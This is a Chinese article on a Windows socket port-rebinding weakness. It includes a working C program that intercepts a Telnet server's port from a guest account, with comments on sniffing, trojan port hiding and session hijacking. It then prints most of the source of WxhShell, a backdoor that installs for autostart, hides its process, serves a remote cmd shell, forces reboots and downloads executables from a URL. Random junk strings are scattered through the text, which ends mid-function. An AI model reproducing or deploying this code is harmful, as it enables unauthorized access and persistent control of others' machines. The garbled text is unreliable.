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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: MJ92S( s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -3w? y t^h>~o'\ saddr.sin_family = AF_INET; ]8H;LgM2 "KFCA9u- saddr.sin_addr.s_addr = htonl(INADDR_ANY); oh:t ex< kg
!@i 7 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); YY]LK%- .Hgiru& 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +x+H(of. +}^}
<|W6 这意味着什么?意味着可以进行如下的攻击: 8PQ$X2) KDn`XCnk, 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @${!C\([1 e7hPIG 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Xf#;GYO|2 uIWCVR8`Y 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5Impv3qaZ :$94y{ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 .Qi`5C:U ZZeqOu7^ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 q.g!WLiI my04>6j0 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :b.#h7Qt< rj:$'m7 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 G=b`w;oL: KzM\+yC #include SJy? ^ #include (jQL? #include E^|b3G6T #include vn
kktD'n DWORD WINAPI ClientThread(LPVOID lpParam); x^C,xP[#Y; int main() .Q?AzU,2D { j.m-6 WORD wVersionRequested; b%v1]a[ DWORD ret; }"3L>%Q5 WSADATA wsaData; :jUd?( BOOL val; FoEZ1O< SOCKADDR_IN saddr; kmP0gT{Sj SOCKADDR_IN scaddr; p?dMa_g int err; bu$5gGWVf SOCKET s; _@d.wfM SOCKET sc; qkR.{?x int caddsize; ^@tn+'. HANDLE mt; KH@M &
>=^ DWORD tid;
xXHz)w wVersionRequested = MAKEWORD( 2, 2 ); o+q5:vJt err = WSAStartup( wVersionRequested, &wsaData ); Z0-W%W if ( err != 0 ) { F1/f:<} printf("error!WSAStartup failed!\n"); X?1 :Z|pJ return -1; QtX ->6P> } `;i|
%$TU saddr.sin_family = AF_INET; HPU7
` b4 ;
/EH@V| //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Q[g%((DL -EITz saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;jnnCXp> saddr.sin_port = htons(23); snN1 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) > m5j.GP; { ch< zpo: printf("error!socket failed!\n"); .Sb|+[{ return -1; &5zUk++ } =3& WH0 val = TRUE; }F@`A?k //SO_REUSEADDR选项就是可以实现端口重绑定的 aY"qEH7] if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) JfC.U,7Nc { ;9;.!4g/T printf("error!setsockopt failed!\n"); I.\u2B/? return -1; 2{{M{#}S. } Ij4\* D! //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;/e!!P]jP //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *A8CJ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $`]<4I9d hBN!!a|l if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) hJaqW'S { ?VReKv1\ ret=GetLastError(); @.MM- printf("error!bind failed!\n"); WL$WWA08_ return -1; g,Q!F } qjTz]'^BpM listen(s,2); Lmj?V1% V while(1) #7'ww*+ { M*0&3Y
Z caddsize = sizeof(scaddr); a1om8! C //接受连接请求 ty/jTo} sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); %L~X\M:Qk if(sc!=INVALID_SOCKET) [0_Kz"| { ;'cv?3Y mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |=GRPvvi if(mt==NULL) ]c$%;!ZE { E<~/AReo printf("Thread Creat Failed!\n"); \@I.K+hj$ break; rytizbc } l`,`N+FG } S;*,V|#QD CloseHandle(mt); %yptML9 } S, Oy}Nv closesocket(s); 93YD\R+q WSACleanup(); iiRK3m return 0; Ya=QN< } BPi>SI0 DWORD WINAPI ClientThread(LPVOID lpParam) nw\p3 { E1VCm[j2 SOCKET ss = (SOCKET)lpParam; E8IWHh_ SOCKET sc; .,EZ-&6{ unsigned char buf[4096]; n>iPAD SOCKADDR_IN saddr; LzgD#Kz long num; b6]M}ixK DWORD val; ]kc_wFT< DWORD ret; uw]e$,x? //如果是隐藏端口应用的话,可以在此处加一些判断 vqL{~tR //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 SHwl^qVk[ saddr.sin_family = AF_INET; R %}k52` saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); b^A&K@[W#, saddr.sin_port = htons(23); E$Ge#
M@dM if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) XY%8yII6 { 7<N X;Fx printf("error!socket failed!\n"); HWe.|fH: return -1; rJNf&x%6 } Q/0}AQO val = 100; JgK?j&!hs: if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;1eu8N8 { f \4Qp ret = GetLastError(); ZJw92Sb return -1; m]u#Dm7h } ^,`Lt * if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .h*&$c/l { :0srFg?X ret = GetLastError(); ^5GS!u" return -1; t?c*(?Xa } "@ox= if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) W<9GwMU { X;}_[=- printf("error!socket connect failed!\n"); fA+M/}= closesocket(sc); WG^D$L: closesocket(ss); _abVX#5< return -1; AJmS1 B } `zep`j&8^ while(1) ,*C^ixNE { 4&&j7$aV //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _IY)<'d //如果是嗅探内容的话,可以再此处进行内容分析和记录 +ckj]yA; //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ltD:w{PO] num = recv(ss,buf,4096,0); m7 !l3W2 if(num>0) #}jf TM send(sc,buf,num,0); bUqO.FZ[ else if(num==0) C{>?~@z&5 break; bxyU[` num = recv(sc,buf,4096,0); x3WY26e if(num>0) TZHqn6 send(ss,buf,num,0); tL
IE^ else if(num==0) C8{CKrVE break; IGI2).$[ } * }2o
\h6Q closesocket(ss); QeQbO closesocket(sc); Wh4lz~D\@ return 0 ; Ads^y`b } wr#+q1v d3 N %V.w 1yE~#KpH ========================================================== ({i| ~#j`+ 下边附上一个代码,,WXhSHELL =0v{+#} DSnsi@Mi ========================================================== +B&FZ4' Rdv"Aj: #include "stdafx.h" UcK!v*3E k5PzY!N #include <stdio.h> dk3\~m%Pv #include <string.h> Uz62!) #include <windows.h> z?i82B[Tm #include <winsock2.h> nF//y} #include <winsvc.h> 4<O[d #include <urlmon.h> Ao]F_hZ ph|3M<q6 #pragma comment (lib, "Ws2_32.lib") y24 0 +;a #pragma comment (lib, "urlmon.lib") {wMCo, koie #define MAX_USER 100 // 最大客户端连接数 Sa@Xh,y Z #define BUF_SOCK 200 // sock buffer I/@Xr #define KEY_BUFF 255 // 输入 buffer lc/2!:g {uhw ^)v #define REBOOT 0 // 重启 {!EbGIh #define SHUTDOWN 1 // 关机 >
h:~*g ,*bxNs'/ #define DEF_PORT 5000 // 监听端口 $4eogI7N>w u{_T,k<! #define REG_LEN 16 // 注册表键长度 iE&`Fhf? #define SVC_LEN 80 // NT服务名长度 `bx gg'V */qv} // 从dll定义API N
.SszZh typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Cvl"")ZZ` typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _mn4z+ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yC _X@o-n typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T&{EqsI=B fNlUc // wxhshell配置信息 }LE/{]A struct WSCFG { eH6#'M4+\ int ws_port; // 监听端口 vu*08<M~i| char ws_passstr[REG_LEN]; // 口令 @ojn<7W int ws_autoins; // 安装标记, 1=yes 0=no 4+uAd" char ws_regname[REG_LEN]; // 注册表键名 E]e6a^J# char ws_svcname[REG_LEN]; // 服务名 a1j6-p char ws_svcdisp[SVC_LEN]; // 服务显示名 5^5h%~)} char ws_svcdesc[SVC_LEN]; // 服务描述信息 x2nNkd0h
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uH7u4f1Q int ws_downexe; // 下载执行标记, 1=yes 0=no GCIm_
n char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 3)`}#` T char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0ogTQ`2Z: B,A/
-B\ }; :|d3BuY /]vg_&)= // default Wxhshell configuration b0
5h, struct WSCFG wscfg={DEF_PORT, N2~Nc"L "xuhuanlingzhe", bS0LjvY9g 1, kdv>QZ "Wxhshell", }F\0Bl& "Wxhshell", kgA')] "WxhShell Service", oinF<-( "Wrsky Windows CmdShell Service", '\\J95*` "Please Input Your Password: ", 0lW}l9}'- 1, jaDZPX-yS " http://www.wrsky.com/wxhshell.exe", Qn6&M "Wxhshell.exe" Dn9Ta}miTO }; |KkVt]ZQe9 d*!,McBn // 消息定义模块 1[^2f70n char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2.CI^.5& char *msg_ws_prompt="\n\r? for help\n\r#>"; 2"2b\b}my char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; :r!nz\%WW char *msg_ws_ext="\n\rExit."; fUE jl char *msg_ws_end="\n\rQuit."; [P"#?7 N char *msg_ws_boot="\n\rReboot..."; =0O`VSb char *msg_ws_poff="\n\rShutdown..."; &%FpNU9 char *msg_ws_down="\n\rSave to "; qex.}[ VFRUiz/C char *msg_ws_err="\n\rErr!"; r`mfLA]d char *msg_ws_ok="\n\rOK!"; v k<By R "tm2YUG},s char ExeFile[MAX_PATH]; 9.>v
;:vL int nUser = 0; I>fEwMk~ HANDLE handles[MAX_USER]; nIdvff int OsIsNt; s,lrw~17 R ]HHbD&; SERVICE_STATUS serviceStatus; z$S)|6Q
SERVICE_STATUS_HANDLE hServiceStatusHandle; zQ5'q :+en8^r% // 函数声明 <Ms,0YKx int Install(void); sJMT _yt; int Uninstall(void); YJF!_kg. int DownloadFile(char *sURL, SOCKET wsh); ax,%07hJ int Boot(int flag); 0~)cAKus void HideProc(void); B`9'COw int GetOsVer(void); vz/.*u int Wxhshell(SOCKET wsl); P**h\+M>{ void TalkWithClient(void *cs); e")s1` int CmdShell(SOCKET sock); 4E<iIA\x int StartFromService(void); ^vfp; int StartWxhshell(LPSTR lpCmdLine); I6X_DPY "0pu_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); eG =Hyc VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~X)Aw3}F auK*\Wjm? // 数据结构和表定义 6XKiVP;h% SERVICE_TABLE_ENTRY DispatchTable[] = :I[nA?d[& { R %aed>zo {wscfg.ws_svcname, NTServiceMain}, D!^&*Ia?2 {NULL, NULL} K!=Y4"5% }; fX^<H_1$G w|lA%H7`J // 自我安装
_xjw: int Install(void) #R-l2OO^] { `O/1aW1 char svExeFile[MAX_PATH]; )O;6S$z9Y HKEY key; I!Z=3 $, strcpy(svExeFile,ExeFile); 14Y_ oH9 .!/w[Z] // 如果是win9x系统,修改注册表设为自启动 pMndyuoJl if(!OsIsNt) { EhB0w; c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rom`%qp^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0@7% RegCloseKey(key); ~ >6d}7xs if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RrA9@95+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z_nv|5" RegCloseKey(key); YS],o'T return 0; &6deds
} r}T(?KGx } %dn!$[D@ } N5_` else { %'+}-w %La<] // 如果是NT以上系统,安装为系统服务 r`-=<@[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5NGQWg if (schSCManager!=0) >L4q>S^v { wB'GV1|jL SC_HANDLE schService = CreateService y Ny,$1 ( S@4p.NMU schSCManager, =2XAQiUR\ wscfg.ws_svcname, }IJE% wscfg.ws_svcdisp, KEPNe(H SERVICE_ALL_ACCESS, +6~ut^YiM. SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vd{ban9 SERVICE_AUTO_START, 2Sgv SERVICE_ERROR_NORMAL, G'#Uzwo svExeFile, 9u?[{h.`B NULL, |-l9 Z NULL, {HO,d{{ NULL, 3R>"X c NULL,
2^w8J w9 NULL Wr+/9 ); GD-L0kw5 if (schService!=0) \JLea$TM: { ~v>3lEGn* CloseServiceHandle(schService); @b&_xT CloseServiceHandle(schSCManager); A'6-E{ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vC^Ul strcat(svExeFile,wscfg.ws_svcname); awB+B8^s if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u~8=ikn+T RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `a6AES'w$ RegCloseKey(key); gT_tR_g return 0; 8hV>Q } )ko[_OJj } ]!>tP,<`' CloseServiceHandle(schSCManager); ]y9u5H^ } A$3ll|%j } GLp~SeF# sa?s[ return 1; XwZR
Kh\>= } bn:74,GeyK a9_KoOa.H // 自我卸载 r XT6u int Uninstall(void) PO nF_FC { a! 3e Z, HKEY key; "_0sW3rG cO8yu`4!e if(!OsIsNt) { Y41b8.|P+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8b"vXNB.f RegDeleteValue(key,wscfg.ws_regname); GY rUB59 RegCloseKey(key); 5SEGV|% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l0r^LK$ RegDeleteValue(key,wscfg.ws_regname); U!jRF RegCloseKey(key); .U#oN_D return 0; Mtaky=l8~I } u
p zBd] } *+%$OH, } p4uN+D`.U else { pS "A{k)i bg2r SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F?Fxm*Wa/ if (schSCManager!=0) =d$m@rc0r { ; EsfHCi) SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I@kMM12>c if (schService!=0) p'kB1)~| { _ xM}*_<VP if(DeleteService(schService)!=0) { !KtP> `8 CloseServiceHandle(schService); s(:N>K5* CloseServiceHandle(schSCManager); -sx=1+\nf return 0; 8CUl |I ~ } D1V^DbUm_ CloseServiceHandle(schService); &x3R+(H { } 7g4IAsoD CloseServiceHandle(schSCManager); o,qUf } _=K\E0I.m } +.a->SZ5" L2%npps return 1; }-@h H( } q4niA #<5i/5& // 从指定url下载文件 z
J V>; int DownloadFile(char *sURL, SOCKET wsh) ^qtJcMK+hq { .X"\ Mg HRESULT hr; ;It1i`!R char seps[]= "/"; o;v_vCLO char *token; op,mP0b char *file; X
CHN'l' char myURL[MAX_PATH]; +
7nA; C char myFILE[MAX_PATH]; *X2dS
{ v{) *P.E strcpy(myURL,sURL); -l<[CI token=strtok(myURL,seps); Sr-!-eC while(token!=NULL) r#c+{yY { s-S|#5 file=token; oYX#VX token=strtok(NULL,seps); Cp]q>lM" } R}$A>)%dx qbo
W<W<H1 GetCurrentDirectory(MAX_PATH,myFILE); }^PdW3O*m, strcat(myFILE, "\\"); ?e hUGvV2 strcat(myFILE, file); m</nOf+C send(wsh,myFILE,strlen(myFILE),0); ]U.YbWe^ send(wsh,"...",3,0); )z7+%n TO hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0*:4@go0}i if(hr==S_OK) &z"yls return 0; I_'0!@Nn7 else ys9MV%* return 1; 1y.!x~Pi, #po}Y } w]Ci%W( @W!cC#u // 系统电源模块 xJ)vfo int Boot(int flag) oHx =Cg; { U=ie|
3 HANDLE hToken; vU,
]UJ} TOKEN_PRIVILEGES tkp; 67d p)X !S[7IBk% if(OsIsNt) { a\v@^4 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :_+Fe,h>| LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fQ~YBFhlr tkp.PrivilegeCount = 1; lof}isOz tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }P"JP[#E\ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VK?c='zg if(flag==REBOOT) { VTxLBFK; if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F anA~ return 0; /,2${$c! } 6IC/~Woghx else { 1|%C66f^ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xnG,1doa return 0; IQCIc@5 } k{j (Gb2sp } F#$[jh$ else { b7? 2Pu if(flag==REBOOT) { t /CE,DQ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =H2.1 :' return 0; q=h~zjQ?R } ~F9WR5}] else { 7nL3+Pq if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) aqAWaO return 0; N5:muh
\
} sz%'=J~!V } t&=]>blIs M/mUY return 1; ~#jD/ } !{L`Zd;C>w G'
'l,\3 // win9x进程隐藏模块 zg83->[ void HideProc(void) ~wsDg[ { *R^u lp[W )Vb_0 n=^ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #D&]5"0cX if ( hKernel != NULL ) X#*|_(^ { C4~`3Mk pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (C
EXPf ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (S["
ak FreeLibrary(hKernel); $}G03G@ } <H)I06]; 9V=bV=4: return; #c ndq[H } $Z;?d@6yI =@d IM // 获取操作系统版本 &[hq !v int GetOsVer(void) ,HFoy-Yq { N3Jfp3_b@ OSVERSIONINFO winfo; t%n3~i4X: winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); HV??B : GetVersionEx(&winfo); gB\KD{E if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8U07]=Bt< return 1; jtk2>Ol else 5Q.bwl : return 0; 4u
zyU_ } "s]c79t EQkv&k5X // 客户端句柄模块 O&!tW^ih int Wxhshell(SOCKET wsl) 0~\Dd0W/:` { y#3mc#)k SOCKET wsh; r2T-= XWB struct sockaddr_in client; %jK-}0Tu DWORD myID; UpgY}pf} |-hzvuSX while(nUser<MAX_USER) %:/_O*~)Yg { c8sY#I int nSize=sizeof(client); AWP CJmr wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )j40hrR if(wsh==INVALID_SOCKET) return 1; x8sSb:N >Rw[ x handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O4kBNUI/ if(handles[nUser]==0) Nkt(1?:-' closesocket(wsh); Y#_,Ig5. else `/'Hq9$F<" nUser++; [e
)j,Q1 } dlC)&Ai WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); TE4{W4I )k0P' zGb return 0; SLL%XF~/Sb } &UUIiQm~ 'w`:p{E // 关闭 socket 2;G^>BP< void CloseIt(SOCKET wsh) m<wng2`NTv { d_&R>GmR$ closesocket(wsh); :luVsQ nUser--; h#?L6<*tm ExitThread(0); bE2^sx`( } DD\:glo "z\T$/ // 客户端请求句柄 @X_x?N void TalkWithClient(void *cs) EZz Ox(g { iK6L\'k wAxXK94#3 SOCKET wsh=(SOCKET)cs; .N8AkQ(Ok char pwd[SVC_LEN]; Ql>DS~a char cmd[KEY_BUFF]; 2/qP:3) char chr[1]; u=feR0|8 int i,j; :04sB]H 5 fjeBfy while (nUser < MAX_USER) { 1vBR\!d?7 zCT Wi if(wscfg.ws_passstr) { *z`_U]tP if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OS6 l*S(' //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TmG$Cjf84 //ZeroMemory(pwd,KEY_BUFF); {%xwoMVc+ i=0; ywpk\ while(i<SVC_LEN) { "W;GvI
)_OKw?Zi // 设置超时 mc;Z#"kf fd_set FdRead; zR(}X8fP struct timeval TimeOut; @.T
'>;izr FD_ZERO(&FdRead); wp`a:QZ8N FD_SET(wsh,&FdRead); ~`c?&YixU TimeOut.tv_sec=8; 1HG~}E TimeOut.tv_usec=0; m5SJB]a/ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Rz1&(_Ps if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); EAU6z(X$ LFob1HH*8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *{8Kb>D pwd =chr[0]; "qUUH4mR` if(chr[0]==0xd || chr[0]==0xa) { `:!mPNW# pwd=0; eKNZ?!c= break; ~;k-/Z" } Ub*Gv(Pg i++; Juj"cjob } HDZB)'I K O "U5v // 如果是非法用户,关闭 socket l=U@j
T if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Lt0JUUa0 } ~~k_A|& $5ZBNGr send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k'{'6JR send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ehu^_HZ NL
3ri7n while(1) { ik)T>rYg0 A;n3"" ZeroMemory(cmd,KEY_BUFF); 7J,j ED&>~~k) // 自动支持客户端 telnet标准 ?47q0C j=0; 6gV-u~j [# while(j<KEY_BUFF) { _Q,`Qn@|BD if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z&[Rw<{Psb cmd[j]=chr[0]; p'fq&a+ if(chr[0]==0xa || chr[0]==0xd) { ]3]I`e{ cmd[j]=0; m(SGE,("w break; hp+=UnW } hAtf) j++; OAO|HH } 3ha^NjE 6r{NW9y' // 下载文件 U;u@\E@2 if(strstr(cmd,"http://")) { P*Va<'{:{ send(wsh,msg_ws_down,strlen(msg_ws_down),0); O4J <u-E$ if(DownloadFile(cmd,wsh)) G(W/.* send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;"46H'>! else {Qbg'|HO=l send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F
\6-s`( } l
Os91+.% else { \Fg%V> =n.d' switch(cmd[0]) { wb~BY N\{Xhr7d // 帮助 4H'\nsM case '?': { *P2_l
Q= send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {7swE(N break; Pj(DlC7G, } +*&bgGhT // 安装 k?]`PUrV case 'i': { vOIK6- if(Install()) &iR3]FNI send(wsh,msg_ws_err,strlen(msg_ws_err),0); f_v@.vnn. else }2c)UQD8 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,9;RP/"7 break; 2$ m#)*\ } -Uj)6PzGu // 卸载 C#<b7iMg case 'r': { ,5}%_ if(Uninstall()) ! Rr k send(wsh,msg_ws_err,strlen(msg_ws_err),0); NMJX ` else C:z+8w t send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b)ytm=7ha break; LFvO[& } ~4gOv // 显示 wxhshell 所在路径 WEy$SN+P case 'p': { V+`gkWe/ char svExeFile[MAX_PATH]; })#VO-J strcpy(svExeFile,"\n\r"); xib?XzxGo strcat(svExeFile,ExeFile); _[%2QwAUj* send(wsh,svExeFile,strlen(svExeFile),0); |T`ZK?B+u break; M9[52D!{ } G-7!|& // 重启 a
]~Rp case 'b': { gR5
EK$ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @6["A'h if(Boot(REBOOT)) A]<+Aq@{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); [d"]AF[# else { #BPJRNXd closesocket(wsh); <'T:9 ExitThread(0); 1`6kc9f. } -9PJ4"H break; h D5NX } .4CCR[Het // 关机 )NF5,eD case 'd': { UTWchh send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g2RrBK, if(Boot(SHUTDOWN)) ) |t;nK, send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;-0
d 2Z else {
lL\%eQ closesocket(wsh); 1>yh`Bp\= ExitThread(0); 8'sT zB] } r!+..c break; mV>l`&K= } c/6 // 获取shell Fok% case 's': { o}4~CN9} CmdShell(wsh); ;OMR5KAz closesocket(wsh); iY,FfuE ExitThread(0); UWXl
c break; 60\`TsFobT } Q6 oM$qiM // 退出 ~:JoKm`vU case 'x': { 8NZQTRdH send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #}p@+rkg2 CloseIt(wsh); @D[tljc^ break; OH
>#f6`[ } WEaG/)y // 离开 )5[OG7/g case 'q': { 8P?p send(wsh,msg_ws_end,strlen(msg_ws_end),0); 88 &M8T'AP closesocket(wsh); eae `#>XP WSACleanup(); Te6cw+6 exit(1); MvKr~ break; c4f3Dr'xw } eF"k"Ckt' } JT p+&NS } "Cz0r"N V/&JArW // 提示信息 pi|=3W if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >~;=
j~ } <dGph } fi~jT"_CI $5wf{iZY.Q return; )61X,z } /jl/SV+ |SfCuV#g/< // shell模块句柄 ^]NFr*'! int CmdShell(SOCKET sock) hHk9O? { *e25!#o1 STARTUPINFO si; RsW4 '5 ZeroMemory(&si,sizeof(si)); Ya&\ b 6 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P,rD{ 0~ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5m
yQBKE PROCESS_INFORMATION ProcessInfo; /,,IM/(6^ char cmdline[]="cmd"; DJZ$M CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _+9o'<#u( return 0; z5J$".O` } ?J@P0(M# $x*(D|\'< // 自身启动模式 W6s-epsRmT int StartFromService(void) 74=zLDDS { `^HK-t4q typedef struct ]
T<#bNK\1 { W1&"dT@ DWORD ExitStatus; ||))gI`3a DWORD PebBaseAddress; &^7(?C'u DWORD AffinityMask; Vb)NWXmyu DWORD BasePriority; w! PguP ULONG UniqueProcessId; f@ILC=c< ULONG InheritedFromUniqueProcessId; t,u;"%go } PROCESS_BASIC_INFORMATION; A">R-1R @1A.$: PROCNTQSIP NtQueryInformationProcess; vSy[lB|)24 Z7NR%u_|[ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F1t+D)KA> static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :'FCeS9 &O5O@3:7] HANDLE hProcess; L_tjclk0J PROCESS_BASIC_INFORMATION pbi; #5=W[+4eN M0T z('~s HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nkzH}F=< if(NULL == hInst ) return 0;
